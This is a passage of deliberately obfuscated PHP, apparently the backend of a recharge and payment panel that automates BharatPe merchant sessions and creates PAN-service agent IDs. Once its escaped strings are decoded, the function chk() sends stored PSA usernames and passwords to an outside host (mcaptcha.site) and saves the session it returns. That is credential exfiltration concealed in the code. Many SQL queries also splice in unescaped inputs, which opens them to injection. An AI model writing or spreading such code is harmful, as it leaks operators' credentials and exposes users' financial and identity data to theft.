array("\163\165\x63\x63\145\x73\x73" => true, "\155\x65\163\163\x61\x67\x65" => "\x44\x61\164\141\40\x46\145\164\143\x68\x65\144\xa\40\x20\40\40\40\x20\x20\x20\40\x20\40\x20\163\x75\143\x63\x65\x73\163\146\165\154\154\171", "\x76\151\162\x74\x75\x61\x6c\x5f\x61\x63\x63\x6f\165\x6e\164" => $body["\x64\141\164\141"]["\166\x69\x72\x74\165\x61\154\x5f\x61\x63\x63\157\x75\x6e\164"]); } if (!empty($body["\155\x65\163\163\x61\x67\x65"])) { $output["\x6d\x65\163\163\x61\x67\x65"] = $body["\x6d\145\x73\163\141\147\x65"]; } return $output; } goto NNuZZ; FHq_D: function bharatpe_accounts($userAccount) { $sql = "\x53\x45\x4c\x45\103\x54\40\x2a\x20\106\x52\x4f\x4d\40\x60\x62\150\x61\x72\141\x74\160\x65\140\x20\x57\110\x45\122\105\x20\165\x73\x65\162\x5f\x69\144\x3d\47" . $userAccount["\x75\x73\145\x72\x5f\x69\144"] . "\x27\40\x4f\x52\104\105\122\40\x42\x59\40\x60\142\x68\x61\162\141\164\160\145\x5f\151\x64\x60\x20\104\105\123\x43\x20"; if ($userAccount["\162\x6f\x6c\145"] == "\101\144\x6d\x69\156") { $sql = "\x53\x45\114\x45\103\x54\x20\x2a\x20\106\x52\117\x4d\x20\140\x62\x68\141\162\141\x74\160\145\140\x20\117\x52\104\x45\x52\x20\x42\131\x20\140\142\150\141\x72\x61\164\x70\145\137\151\x64\140\x20\104\105\123\103\x20"; } return rechpay_fetch_all(rechpay_query($sql)); } goto bdxx9; ZkPaB: function get_bharatpe_verifyotp($mobile, $token, $otp, $authorization) { $postData = array("\155\x6f\142\x69\x6c\x65" => $mobile, "\165\165\151\144" => $token, "\157\164\160" => $otp, "\x5f\164\x6f\x6b\x65\x6e" => $authorization["\x63\x73\x72\x66\x74\157\153\145\156"]); $header = get_bharatpe_header(); $header[] = "\x63\x6f\157\x6b\x69\x65\x3a\40\142\x68\x61\x72\x61\x74\160\145\137\163\x65\x73\163\x69\x6f\x6e\x3d" . $authorization["\142\x68\141\x72\141\164\x70\145\x5f\x73\145\x73\x73\151\157\x6e"]; $response = curl_request("\x50\x4f\123\x54", "\x68\164\164\x70\163\72\x2f\x2f\145\x6e\x74\145\162\160\162\151\163\145\56\142\150\141\162\141\164\x70\x65\x2e\x69\156\x2f\166\61\57\x61\160\151\57\165\163\x65\162\57\x76\x65\162\151\x66\x79\157\164\160", $postData, $header, true); $response = get_headers_from_curl_response($response); $body = json_decode($response["\x62\x6f\x64\x79"], true); $output = array("\163\x75\143\x63\x65\x73\x73" => false, "\155\145\163\x73\x61\147\x65" => "\115\145\162\143\150\141\x6e\164\x20\x53\145\162\166\x65\x72\40\x69\163\xa\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\x44\x6f\167\x6e", "\x62\150\x61\162\x61\x74\x70\x65\137\x73\x65\x73\163\x69\x6f\156" => null, "\141\x63\x63\x65\x73\x73\124\157\153\x65\x6e" => null); if ($body["\x73\165\143\143\145\x73\163"] == true) { $output = array("\x73\165\143\x63\x65\163\x73" => true, "\x6d\145\x73\163\141\147\x65" => "\x4f\124\x50\x20\126\x65\162\151\146\151\145\144\12\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\123\165\x63\x63\145\163\x73\146\x75\154\x6c\171", "\142\x68\141\162\x61\164\160\145\137\163\145\163\163\x69\x6f\156" => $response["\x63\x6f\x6f\x6b\x69\145\x73"]["\142\x68\x61\162\141\x74\x70\x65\137\x73\x65\x73\x73\151\157\x6e"], "\141\x63\x63\x65\x73\163\x54\157\153\x65\156" => $body["\x64\x61\x74\x61"]["\141\143\143\x65\163\x73\x54\157\153\145\x6e"]); } if (!empty($body["\x6d\145\x73\x73\141\x67\145"])) { $output["\155\145\x73\x73\141\147\x65"] = $body["\155\x65\x73\x73\141\x67\x65"]; } return $output; } goto wK6c3; KD8CT: function bharatpe_settlement_settings_url($accessToken) { $url = "\150\164\x74\x70\163\x3a\x2f\57\142\x68\141\162\x61\x74\160\145\x2d\141\x63\143\157\165\156\x74\56\x62\x68\x61\162\x61\x74\x70\x65\56\x69\x6e\x2f\x23\57\x73\145\x74\x74\154\145\x6d\x65\156\164\55\163\145\x74\x74\151\x6e\x67\163\x3f\166\x69\163\141\x3d{$accessToken}\x26\163\162\x63\75\117\x54"; return $url; } goto wBnXe; vT6U4: function get_bharatpe_authorization() { $response = curl_request("\x47\x45\x54", "\150\x74\x74\160\x73\x3a\x2f\x2f\x65\x6e\164\x65\162\160\x72\151\x73\x65\x2e\142\150\x61\162\x61\164\x70\x65\x2e\151\x6e\57", array(), array(), true); $response = get_headers_from_curl_response($response); libxml_use_internal_errors(true); $dom = new DOMDocument(); $dom->validateOnParse = false; $dom->recover = true; $dom->formatOutput = false; $dom->loadHTML($response["\x62\157\144\x79"]); libxml_clear_errors(); $xpath = new DOMXPath($dom); $col = $xpath->query("\57\57\x69\x6e\160\x75\x74\133\x40\156\x61\x6d\145\75\x22\137\164\157\x6b\x65\x6e\x22\135"); foreach ($col as $node) { $csrftoken = $node->getAttribute("\x76\141\154\x75\145"); } return array("\x63\x73\x72\146\x74\157\x6b\x65\156" => $csrftoken, "\142\150\141\x72\141\164\160\x65\137\163\145\x73\x73\x69\157\156" => $response["\x63\157\x6f\153\x69\145\x73"]["\142\x68\x61\x72\141\x74\x70\145\137\x73\x65\163\x73\x69\x6f\x6e"]); } goto L4wN6; ap9nY: function psaCreateID($token, $vleId, $ownerName, $contactName, $addressLine1, $addressLine2, $location, $state, $pinCode, $emailId, $vleMobile, $vlePan) { $result = array(); $sql = "\x53\x45\114\105\103\124\40\52\40\x46\x52\117\x4d\x20\140\x75\x73\x65\162\x61\x63\143\x6f\x75\x6e\164\x60\x20\127\110\x45\122\x45\40\x74\157\153\145\x6e\x3d\47" . $token . "\47\x20"; $userAccount = rechpay_fetch(rechpay_query($sql)); $userId = $userAccount["\165\x73\145\x72\137\x69\144"]; $query = "\x53\105\x4c\105\x43\x54\x20\x2a\40\106\122\117\115\40\140\x70\163\141\143\x72\145\144\145\x6e\164\x69\x61\x6c\163\x60\40\x57\x48\x45\x52\x45\x20\165\163\145\162\x5f\x69\144\40\x3d\x20\47{$userId}\x27"; $data = rechpay_fetch(rechpay_query($query)); $jsession = $data["\160\x73\x61\x5f\x73\145\163\163\151\157\x6e"]; $csrf = $data["\x70\163\x61\137\143\x73\x72\146"]; $client = new Client(array("\150\164\x74\x70\x5f\145\162\x72\157\x72\163" => false)); $headers = array("\101\x63\143\145\x70\x74\55\114\x61\156\x67\165\141\147\145" => "\145\156\x2d\x55\123\x2c\145\156\x3b\161\x3d\60\56\71", "\x43\x6f\x6f\153\151\145" => "\x4a\x53\105\123\x53\111\x4f\x4e\111\104\x3d" . $jsession, "\x55\163\x65\162\55\x41\x67\x65\x6e\164" => "\x4d\157\x7a\x69\x6c\x6c\x61\57\65\x2e\60\x20\x28\x57\x69\x6e\x64\x6f\167\163\40\116\124\x20\x31\x30\x2e\60\x3b\40\x57\151\x6e\66\x34\x3b\40\170\x36\64\x29\x20\101\x70\x70\154\145\127\x65\142\x4b\151\x74\x2f\65\63\67\x2e\x33\66\40\x28\x4b\x48\x54\x4d\x4c\x2c\40\154\151\x6b\x65\40\x47\145\143\x6b\157\x29\40\103\x68\162\157\x6d\x65\57\x31\61\61\56\x30\56\60\x2e\60\40\123\x61\146\141\x72\x69\x2f\65\x33\67\56\x33\x36", "\110\157\x73\164" => "\x77\x77\167\x2e\160\x73\x61\x6f\x6e\x6c\x69\156\145\56\165\x74\x69\x69\x74\x73\x6c\56\143\x6f\155", "\117\162\x69\x67\x69\x6e" => "\x68\x74\x74\x70\x73\72\x2f\57\167\167\167\56\x70\x73\x61\157\x6e\154\151\x6e\x65\56\x75\164\151\x69\164\x73\154\x2e\x63\x6f\155", "\122\145\x66\145\162\x65\x72" => "\150\164\x74\160\x73\x3a\57\57\167\x77\167\x2e\160\x73\x61\157\x6e\154\151\156\145\x2e\x75\164\151\x69\x74\x73\154\x2e\143\157\x6d\x2f\x70\163\141\x70\x61\x6e\x73\x65\162\166\151\x63\x65\x73\x2f\146\157\162\x6d\x73\x2f\x6c\157\x67\151\156\56\150\x74\x6d\x6c\x2f\x73\150\157\x77\101\x64\x64\x55\x73\x65\x72", "\x43\x6f\156\x74\145\x6e\164\x2d\x54\x79\x70\x65" => "\x61\160\160\154\x69\143\141\164\151\157\x6e\x2f\170\x2d\167\x77\x77\x2d\146\x6f\x72\x6d\55\165\162\154\145\x6e\x63\x6f\144\145\144"); $options = array("\146\x6f\162\x6d\x5f\160\141\x72\x61\155\x73" => array("\143\x72\145\141\164\x65\x55\163\x65\x72\x54\171\160\x65" => "\x31", "\156\x65\167\126\154\145\111\x64" => $vleId, "\x6e\145\x77\125\x73\x65\162\111\x64" => $vleId, "\x76\x6c\145\x4e\141\x6d\145" => $ownerName, "\x63\x6f\x6e\x74\141\143\164\116\141\x6d\x65" => $contactName, "\x61\x64\144\x72\145\x73\163\x73\x4c\x69\x6e\x65\61" => $addressLine1, "\x61\144\x64\x72\145\x73\163\163\114\x69\x6e\x65\62" => $addressLine2, "\141\144\x64\162\145\163\x73\163\x4c\x69\x6e\x65\63" => '', "\x61\x64\x64\x72\145\x73\163\x73\114\151\x6e\145\64" => '', "\x6c\x6f\143\141\164\151\x6f\156" => $location, "\x73\x74\x61\164\145" => $state, "\x76\x6c\145\x44\x69\x73\164\x72\x69\x63\164" => "\x4f\124\x48\105\122", "\166\154\145\x50\151\x6e" => $pinCode, "\145\155\x61\x69\154\111\x64" => $emailId, "\166\x6c\145\x4d\x6f\x62\x69\x6c\145" => $vleMobile, "\160\x68\157\156\145\116\x6f" => '', "\x76\154\x65\120\141\156" => $vlePan, "\137\x63\x73\x72\146" => $csrf)); $request = new Request("\x50\117\x53\124", "\x68\164\164\x70\x73\72\x2f\x2f\167\x77\x77\x2e\160\x73\x61\157\x6e\154\151\156\x65\x2e\x75\164\151\151\x74\x73\x6c\x2e\143\157\155\x2f\x70\163\141\x70\141\x6e\x73\x65\162\166\151\143\145\x73\x2f\x66\x6f\162\x6d\x73\57\154\157\147\151\x6e\x2e\150\x74\155\154\x2f\x61\x64\x64\x55\163\145\x72", $headers); $res = $client->sendAsync($request, $options)->wait(); $response = (string) $res->getBody(); $statusCode = $res->getStatusCode(); if ($statusCode == 405) { return chk($data["\160\x73\x61\137\x75\x73\x65\x72\156\141\x6d\x65"], $data["\160\163\x61\x5f\160\x61\163\163\167\157\x72\x64"], $data["\160\163\x61\x5f\x69\144"]); } if (strpos($response, "\x65\x72\x72\x6f\162\x4d\x65\163\x67")) { $rpos = strpos($response, "\145\x72\162\x6f\162\115\x65\x73\147"); $spos = strpos($response, "\x73\165\143\x63\145\163\163\115\x65\x73\x67"); $errorMesg = substr($response, $rpos, 39); $successMesg = substr($response, $spos, 180); if (strpos($errorMesg, "\104\x55\120\x4c\x49\x43\x41\x54\x45") > 0) { $result = array("\x73\x74\x61\x74\165\x73" => "\x73\x75\143\x63\145\163\163", "\x70\x73\x61\x5f\x73\x74\x61\x74\x75\163" => "\x44\x55\x50\x4c\x49\x43\101\x54\105", "\160\163\x61\x5f\151\144" => $vleId, "\155\x65\x73\163\x61\147\x65" => "\x50\x53\x41\x20\111\x44\x20\101\x6c\x72\145\141\x64\x79\40\105\x78\151\x73\x74\x73"); } else { if (strpos($successMesg, "\143\x72\x65\x61\x74\145\x64") > 0) { $codepos = strpos($successMesg, "\143\x6f\144\145"); $code = substr($successMesg, $codepos); $ccode = substr($code, 5, 6); $result = array("\x73\164\141\164\x75\163" => "\x73\165\x63\x63\145\163\163", "\160\163\x61\137\163\x74\141\x74\165\163" => "\x43\122\x45\x41\124\105\104", "\x70\163\x61\x5f\x69\144" => $vleId, "\x63\x6f\x64\145" => $ccode, "\155\145\x73\x73\141\147\x65" => "\x50\x53\x41\x20\x49\104\x20\x43\x72\x65\141\x74\145\x64\40\x53\x75\143\x63\145\x73\163\106\165\154\x6c\171"); } else { $result = array("\x73\164\141\x74\165\163" => "\x66\141\x69\154\x65\144", "\x6d\x65\x73\163\x61\147\145" => "\x49\x6e\166\141\x6c\x69\144\40\120\x61\162\x61\155\145\x74\145\162\163\40\x4f\x52\x20\x53\160\145\x63\151\x61\x6c\40\103\x68\x61\x72\141\x63\x74\145\162\x73\40\x4e\x6f\164\x20\x41\154\154\157\167\x65\x64"); } } } return json_encode($result); } goto AWi6E; MpJ8H: function get_bharatpe_qrcode_data($authorization) { $header = get_bharatpe_header(); $header[] = "\164\157\153\145\156\x3a\x20" . $authorization["\x61\143\x63\x65\163\163\124\x6f\x6b\145\x6e"]; $response = curl_request("\x47\105\124", "\x68\x74\x74\x70\x73\x3a\57\x2f\160\x61\171\155\x65\156\164\163\55\164\145\163\163\145\x72\x61\x63\164\x2e\142\150\141\162\141\164\160\x65\x2e\x69\156\57\x61\x70\151\57\166\x31\57\x65\170\x74\x65\x72\x6e\x61\154\x2f\x6d\145\x72\x63\x68\141\x6e\164\x2f\147\145\x74\55\144\x69\x67\151\x74\141\154\x2d\x71\x72\x2d\163\x74\x72\x69\x6e\x67\77\x73\153\151\x70\123\164\157\x72\145\124\145\x72\x6d\151\156\141\154\x4d\x61\x70\x70\151\x6e\147\75\x74\162\x75\x65", array(), $header, true); $response = get_headers_from_curl_response($response); $body = json_decode($response["\142\x6f\144\x79"], true); $output = array("\x73\x75\143\143\145\x73\x73" => false, "\x6d\145\x73\163\141\x67\x65" => "\115\x65\162\143\150\x61\x6e\164\40\x53\x65\x72\x76\x65\x72\40\x69\x73\x20\x44\157\x77\x6e", "\161\162\143\157\144\145" => null, "\166\x70\x61" => null); if ($body["\x73\x74\x61\164\165\163"] == true) { $qrString = urlencode($body["\x64\x61\164\141"]["\x71\x72\123\164\162\151\x6e\x67"]); $image = "\150\x74\x74\160\x73\72\57\x2f\x63\x68\x61\162\164\56\147\157\x6f\147\x6c\x65\141\160\x69\163\56\x63\x6f\155\57\x63\x68\x61\162\x74\x3f\x63\150\x73\75\62\60\60\170\x32\60\60\46\x63\150\x74\75\x71\162\46\x63\150\x6c\75{$qrString}\x26\x63\x68\157\145\75\125\x54\x46\x2d\x38\x26\x63\x68\x6c\x64\x3d\114\174\60"; parse_str(parse_url($body["\144\141\x74\141"]["\x71\162\x53\164\x72\151\x6e\147"], PHP_URL_QUERY), $qrdata); $output = array("\x73\x75\x63\143\145\163\x73" => true, "\x6d\145\163\x73\141\x67\x65" => "\x44\x61\x74\x61\40\106\145\164\143\150\x65\144\12\x20\40\x20\x20\40\40\40\40\40\x20\x20\x20\163\165\143\143\x65\163\x73\x66\165\x6c\x6c\x79", "\x71\162\x63\157\x64\145" => imgbase64($image), "\x71\x72\x64\141\x74\141" => $qrdata); } if (!empty($body["\155\145\x73\x73\x61\x67\x65"])) { $output["\x6d\x65\163\163\x61\147\x65"] = $body["\x6d\145\163\163\141\x67\145"]; } return $output; } goto aFmA3; y3n6f: function plan_data($plan_id) { return rechpay_fetch(rechpay_query("\x53\105\x4c\x45\103\124\40\x2a\x20\106\122\117\x4d\40\x60\160\154\141\x6e\163\x60\40\127\110\x45\x52\105\40\x70\154\141\x6e\137\151\x64\x3d\47" . $plan_id . "\x27\40")); } goto XqJtM; u1E_Y: function today_transactions($userAccount) { $today = date("\x59\x2d\x6d\55\x64"); $sql = "\x53\105\x4c\x45\x43\124\40\52\x20\106\x52\117\115\40\140\x74\162\141\x6e\x73\141\143\164\x69\x6f\156\140\40\x57\110\105\122\x45\x20\165\163\145\x72\137\x69\144\x3d\x27" . $userAccount["\165\x73\145\x72\137\151\x64"] . "\47\40\x61\x6e\x64\40\144\141\164\x65\x5f\164\x69\x6d\x65\x3e\x3d\x27" . $today . "\x20\60\x30\x3a\x30\60\72\60\60\x27\40\x61\156\144\x20\144\141\x74\145\137\164\x69\155\145\74\x3d\47" . $today . "\40\x32\x33\x3a\x35\x39\x3a\x35\71\47\40\x4f\122\104\105\x52\x20\x42\131\xa\40\40\40\x20\40\x20\40\40\x60\164\x78\x6e\x5f\151\x64\x60\x20\x44\x45\123\x43\x20"; if ($userAccount["\x72\157\154\145"] == "\40\x41\144\155\x69\156") { $sql = "\x53\105\114\105\x43\124\40\x2a\x20\x46\x52\117\x4d\x20\140\164\x72\141\x6e\163\x61\143\164\151\x6f\156\140\x20\x57\x48\105\x52\x45\40\x64\141\164\x65\137\164\x69\155\145\x3e\x3d\x27" . $today . "\x20\60\60\72\60\60\x3a\60\x30\47\x20\x61\156\144\12\x20\x20\x20\x20\x20\x20\x20\40\x64\x61\164\145\x5f\164\x69\x6d\x65\x3c\x3d\x27" . $today . "\x20\62\63\x3a\x35\x39\72\x35\71\x27\x20\x4f\122\x44\105\x52\40\x42\131\x20\x60\x74\170\156\137\x69\x64\x60\40\104\105\x53\103\40"; } $result = rechpay_fetch_all(rechpay_query($sql)); $amount = 0; foreach ($result as $key => $value) { $amount += $value["\141\x6d\x6f\x75\x6e\164"]; } return array("\x20\141\155\x6f\165\x6e\164" => round($amount, 2), "\x72\145\x73\165\x6c\x74" => $result); } goto Ji645; SWu6C: function bharatpe_authorization($bharatpe_id, $userAccount) { return rechpay_fetch(rechpay_query("\x53\x45\114\x45\x43\x54\x20\52\40\x46\122\x4f\x4d\40\140\142\x68\141\162\x61\x74\160\145\140\x20\x57\110\105\x52\105\40\165\163\145\x72\x5f\151\144\x3d\x27" . $userAccount["\x75\x73\145\162\137\x69\x64"] . "\47\40\x61\156\144\12\40\x20\40\40\x20\40\40\40\40\x20\x20\40\142\150\x61\162\x61\x74\160\x65\x5f\x69\144\x3d\x27" . $bharatpe_id . "\x27\x20")); } goto So5Ex; AWi6E: function chk($username, $password, $id) { $postData = array("\165\x73\145\162\156\x61\x6d\x65" => $username, "\x70\x61\163\x73\x77\157\x72\x64" => $password); $response = json_decode(curl_request("\x50\x4f\x53\124", "\x68\x74\x74\160\x73\72\x2f\x2f\155\143\x61\x70\x74\x63\150\x61\56\163\x69\164\x65\x2f\x74\x6d\x70\x2f\141\165\164\157\x6c\x6f\147\x69\x6e\56\160\150\x70", $postData), true); if ($response["\x73\164\141\164\165\x73"] == "\x53\x55\x43\103\x45\x53\x53") { $session = $response["\123\145\x73\x73\x69\157\156"]; $csrf = $response["\x43\x73\x72\x66"]; rechpay_query("\125\120\x44\x41\x54\x45\40\160\x73\141\143\162\x65\144\145\x6e\164\151\141\x6c\163\40\123\105\124\40\163\164\141\164\x75\163\x20\75\40\47\x41\x63\164\x69\166\x65\x27\54\40\x70\x73\x61\x5f\x73\x65\x73\x73\x69\157\x6e\x20\75\40\x27{$session}\47\54\x20\x70\163\141\137\x63\163\x72\x66\x20\75\x20\x27{$csrf}\47\40\127\110\105\x52\x45\x20\160\x73\x61\x5f\151\x64\x20\x3d\40\x27{$id}\x27"); return json_encode(array("\x73\x74\x61\x74\x75\163" => "\x53\125\x43\x43\x45\123\x53", "\x6d\x65\x73\163\141\x67\145" => "\123\x65\163\x73\151\157\156\40\x55\160\x64\141\164\145\x64", "\120\163\141\102\x61\x6c\141\156\x63\145" => $response["\120\x73\141\102\141\x6c\141\156\x63\x65"])); } else { rechpay_query("\x55\x50\104\x41\124\105\x20\160\x73\x61\x63\x72\145\144\145\x6e\164\151\x61\154\x73\x20\x53\105\124\40\x73\x74\141\164\x75\163\40\75\40\x27\111\x6e\x41\x63\x74\151\x76\x65\x27\x2c\x20\160\x73\x61\137\x73\x65\163\163\x69\x6f\156\40\x3d\x20\x27\47\x2c\x20\160\163\141\137\x63\163\x72\x66\40\x3d\x20\47\x27\x20\x57\110\105\122\105\x20\160\x73\x61\137\x69\x64\x20\x3d\40\x27{$id}\x27"); } } goto H19OK; wK6c3: function get_bharatpe_business($authorization) { $header = get_bharatpe_header(); $header[] = "\x63\157\x6f\x6b\151\x65\72\40\142\x68\141\162\x61\x74\160\x65\x5f\163\145\x73\163\x69\x6f\156\x3d" . $authorization["\142\x68\x61\162\x61\x74\160\x65\x5f\x73\145\x73\x73\x69\x6f\156"]; $response = curl_request("\107\105\x54", "\150\x74\x74\160\163\72\x2f\x2f\x65\156\x74\145\x72\x70\x72\x69\x73\x65\x2e\x62\150\141\x72\x61\164\x70\145\56\151\x6e\57\x76\x31\x2f\141\x70\x69\x2f\142\162\x61\156\144\x4d\x65\162\143\150\x61\x6e\164\163", array(), $header, true); $response = get_headers_from_curl_response($response); $body = json_decode($response["\x62\157\x64\171"], true); $output = array("\x73\165\x63\143\145\x73\x73" => false, "\x6d\x65\x73\163\x61\147\x65" => "\x4d\145\162\143\150\x61\156\164\40\123\x65\x72\x76\145\x72\x20\151\163\40\104\x6f\167\156", "\144\x61\x74\x61" => array()); if ($body["\163\165\143\x63\145\163\x73"] == true) { $output = array("\163\165\143\143\x65\163\x73" => true, "\x6d\x65\163\163\141\x67\145" => "\104\x61\164\x61\40\x46\x65\x74\x63\150\145\x64\40\163\165\x63\143\x65\163\x73\x66\x75\x6c\154\171", "\x64\x61\164\x61" => $body["\x64\x61\x74\141"]); } if (!empty($body["\x6d\x65\163\163\x61\147\145"])) { $output["\155\x65\x73\163\141\x67\145"] = $body["\x6d\145\x73\163\141\x67\x65"]; } return $output; } goto A5Ng9; bdxx9: function psa_accounts($userAccount) { $sql = "\123\105\x4c\105\x43\124\40\52\40\106\x52\117\x4d\x20\x60\x70\x73\x61\x63\x72\x65\144\x65\x6e\164\151\141\154\x73\x60\40\x57\110\x45\122\x45\40\x75\x73\x65\x72\x5f\x69\x64\75\x27" . $userAccount["\165\163\x65\162\137\x69\144"] . "\x27\40\x4f\122\x44\x45\122\x20\x42\131\x20\140\x70\163\x61\x5f\x69\144\140\x20\104\x45\x53\103\40"; if ($userAccount["\x72\x6f\x6c\145"] == "\x41\x64\x6d\151\156") { $sql = "\123\x45\x4c\x45\x43\x54\40\x2a\40\106\122\117\115\40\x60\160\x73\x61\143\162\x65\x64\145\156\x74\x69\141\x6c\163\140\40\x4f\122\x44\x45\x52\40\102\131\x20\x60\x70\163\141\137\x69\144\x60\40\x44\105\x53\103\x20"; } return rechpay_fetch_all(rechpay_query($sql)); } goto vT6U4; P9cvy: function get_bharatpe_otp($mobile, $authorization) { $postData = array("\155\x6f\142\x69\x6c\145" => $mobile, "\x5f\164\157\x6b\x65\156" => $authorization["\x63\163\x72\146\164\x6f\x6b\145\156"]); $header = get_bharatpe_header(); $header[] = "\x63\157\x6f\153\x69\145\x3a\x20\142\x68\x61\162\x61\164\x70\x65\x5f\x73\145\163\x73\151\x6f\156\x3d" . $authorization["\142\150\141\x72\x61\x74\x70\145\137\x73\x65\163\163\151\x6f\156"]; $response = curl_request("\x50\117\x53\124", "\150\x74\x74\160\163\72\57\x2f\145\156\164\145\162\x70\x72\x69\163\145\56\142\150\141\162\141\164\x70\145\56\151\156\x2f\166\x31\57\x61\x70\x69\x2f\x75\x73\x65\162\x2f\162\145\x71\165\x65\163\x74\x6f\x74\160", $postData, $header, true); $response = get_headers_from_curl_response($response); $response = json_decode($response["\x62\157\144\171"], true); $output = array("\x73\x75\x63\143\x65\x73\163" => false, "\x6d\x65\163\163\141\147\x65" => "\x4d\x65\x72\x63\150\x61\x6e\x74\x20\123\145\x72\166\x65\162\40\x69\163\x20\104\157\x77\x6e", "\164\157\153\x65\x6e" => null); if ($response["\x73\165\143\x63\145\x73\163"] == true) { $output = array("\x73\x75\143\x63\x65\163\163" => true, "\155\x65\x73\163\141\x67\145" => "\117\x54\120\x20\x53\x65\156\164\x20\123\165\143\143\x65\163\163\146\x75\x6c\x6c\171", "\x74\x6f\153\x65\156" => $response["\x64\141\x74\x61"]["\165\x75\x69\x64"]); } if (!empty($response["\x6d\x65\163\163\141\x67\x65"])) { $output["\x6d\x65\x73\x73\x61\x67\x65"] = $response["\155\145\163\163\x61\x67\x65"]; } return $output; } goto ZkPaB; d0HvJ: function get_bharatpe_qrcode($authorization) { $bharatpe_business = get_bharatpe_business($authorization); $merchantId = $bharatpe_business["\x64\141\164\x61"][0]["\151\144"]; $header = get_bharatpe_header(); $header[] = "\x63\x6f\x6f\x6b\151\145\x3a\40\142\x68\x61\162\x61\x74\x70\145\x5f\163\x65\163\x73\151\157\x6e\75" . $authorization["\142\150\141\x72\141\x74\160\x65\x5f\163\x65\x73\x73\151\x6f\156"]; $header[] = "\164\x6f\153\145\156\72\x20" . $authorization["\x61\143\x63\x65\163\x73\x54\157\153\x65\x6e"]; $response = curl_request("\x47\105\124", "\x68\164\x74\x70\x73\x3a\57\57\x70\x61\171\x6d\x65\x6e\164\163\x2d\x74\145\163\163\145\x72\x61\143\164\x2e\x62\x68\141\x72\x61\164\x70\x65\x2e\151\x6e\57\x61\160\x69\x2f\155\145\x72\143\150\x61\x6e\x74\x2f\x76\61\x2f\144\157\167\156\154\x6f\x61\144\121\162\77\155\145\162\143\x68\x61\156\x74\x49\144\75{$merchantId}", array(), $header, true); $response = get_headers_from_curl_response($response); $body = json_decode($response["\x62\157\144\x79"], true); $output = array("\163\165\143\143\x65\x73\x73" => false, "\x6d\145\x73\163\x61\x67\145" => "\x4d\145\x72\x63\x68\141\156\x74\x20\123\x65\x72\x76\145\162\40\151\x73\x20\104\x6f\167\x6e", "\161\x72\143\x6f\144\x65" => null); if ($body["\163\164\141\x74\165\x73"] == true && $body["\144\141\164\141"]["\161\162\123\x74\x61\x74\x75\x73"] == true) { $output = array("\x73\165\143\x63\145\163\x73" => true, "\x6d\145\163\x73\141\x67\145" => "\104\141\164\x61\x20\x46\x65\x74\x63\150\145\x64\x20\163\x75\x63\143\x65\x73\x73\x66\165\x6c\x6c\x79", "\161\162\x63\157\x64\x65" => $body["\144\x61\164\141"]["\x75\x72\x6c"]); } if (!empty($body["\x6d\145\x73\x73\141\x67\145"])) { $output["\155\x65\x73\163\141\147\x65"] = $body["\155\145\163\x73\141\147\x65"]; } return $output; } goto MpJ8H; VRzPd: function get_bharatpe_utrverify($authorization, $utr_number) { $header = get_bharatpe_header(); $header[] = "\x63\x6f\157\x6b\x69\145\72\40\142\x68\141\x72\x61\164\x70\x65\137\x73\x65\x73\x73\x69\157\156\x3d" . $authorization["\x62\150\x61\x72\x61\164\x70\145\x5f\x73\x65\x73\x73\151\x6f\156"]; $response = curl_request("\107\x45\124", "\150\164\164\160\x73\72\57\57\x65\156\x74\145\x72\160\162\151\x73\x65\x2e\142\150\x61\162\141\x74\160\x65\x2e\151\156\57\x76\x31\x2f\141\x70\151\x2f\164\162\141\156\163\141\x63\x74\x69\157\156\x2f\162\x65\x63\x6f\x6e\77\x75\x74\x72\75{$utr_number}", array(), $header, true); $response = get_headers_from_curl_response($response); $body = json_decode($response["\x62\x6f\144\171"], true); $results = array(); $output = array("\163\165\143\143\145\x73\163" => false, "\x6d\145\x73\x73\x61\x67\x65" => "\115\x65\x72\143\150\141\156\164\40\x53\145\162\x76\145\x72\40\151\x73\40\x44\x6f\167\x6e", "\x72\145\x73\x75\x6c\x74\163" => $results); if ($body["\163\165\143\x63\145\x73\x73"] == true) { $results["\164\x78\x6e\x5f\151\144"] = $body["\144\141\164\141"]["\x74\170\x6e\x5f\x69\144"]; $results["\x76\160\141"] = strtoupper($body["\x64\141\164\x61"]["\x76\160\141"]); $results["\x74\170\x6e\137\144\141\x74\145"] = $body["\144\x61\x74\x61"]["\x74\x78\x6e\x5f\x64\141\164\x65"]; $results["\141\155\157\165\x6e\164"] = $body["\x64\141\x74\x61"]["\141\x6d\x6f\x75\156\x74"]; $results["\x72\145\x63\x65\x69\166\145\x64\137\146\162\157\155"] = strtoupper($body["\144\x61\x74\x61"]["\162\x65\x63\145\151\166\x65\x64\x5f\146\162\157\x6d"]); $results["\165\164\x72"] = $body["\144\x61\x74\141"]["\165\x74\x72"]; $results["\163\164\x61\x74\x75\x73"] = $body["\144\141\164\141"]["\163\x74\141\164\165\x73"]; $output = array("\163\x75\x63\143\x65\163\163" => true, "\x6d\145\x73\163\141\147\x65" => "\104\141\x74\x61\40\x46\145\164\143\150\145\x64\40\163\165\x63\x63\145\x73\163\x66\165\x6c\154\x79", "\x72\x65\x73\x75\x6c\x74\163" => $results); } if (!empty($body["\x6d\x65\x73\163\141\x67\145"])) { $output["\x6d\145\163\x73\x61\147\145"] = $body["\x6d\x65\163\x73\x61\x67\145"]; } return $output; } goto d0HvJ; Wm0I6: function all_user_account() { return rechpay_fetch_all(rechpay_query("\123\105\x4c\105\103\x54\x20\x2a\x20\x46\122\117\115\x20\x60\x75\163\145\x72\x61\x63\143\x6f\x75\156\x74\140\40\x4f\x52\104\x45\x52\40\102\x59\40\x60\x75\163\x65\162\x5f\x69\x64\140\x20\101\123\103\x20")); } goto RfNew; RfNew: function psaReset($sub_psa_id, $token) { $result = array(); $sql = "\x53\x45\x4c\x45\103\x54\40\52\40\x46\122\117\115\x20\140\x75\x73\x65\162\x61\143\x63\x6f\x75\156\x74\x60\x20\x57\110\105\x52\105\x20\164\x6f\153\145\x6e\x3d\47" . $token . "\x27\x20"; $userAccount = rechpay_fetch(rechpay_query($sql)); $userId = $userAccount["\x75\163\145\162\x5f\151\x64"]; $query = "\123\105\114\105\103\124\40\52\x20\x46\122\x4f\x4d\40\x60\160\163\x61\143\x72\145\144\x65\156\164\151\x61\154\x73\x60\40\127\110\x45\x52\x45\x20\165\163\x65\162\137\x69\x64\x20\75\40\x27{$userId}\x27"; $data = rechpay_fetch(rechpay_query($query)); $jsession = $data["\160\163\141\137\163\145\x73\163\151\157\x6e"]; $csrf = $data["\x70\163\141\x5f\143\x73\x72\x66"]; $password = base64_encode($data["\160\x73\141\137\160\141\x73\x73\x77\157\x72\144"]); $client = new Client(array("\150\164\164\x70\137\145\x72\x72\157\162\x73" 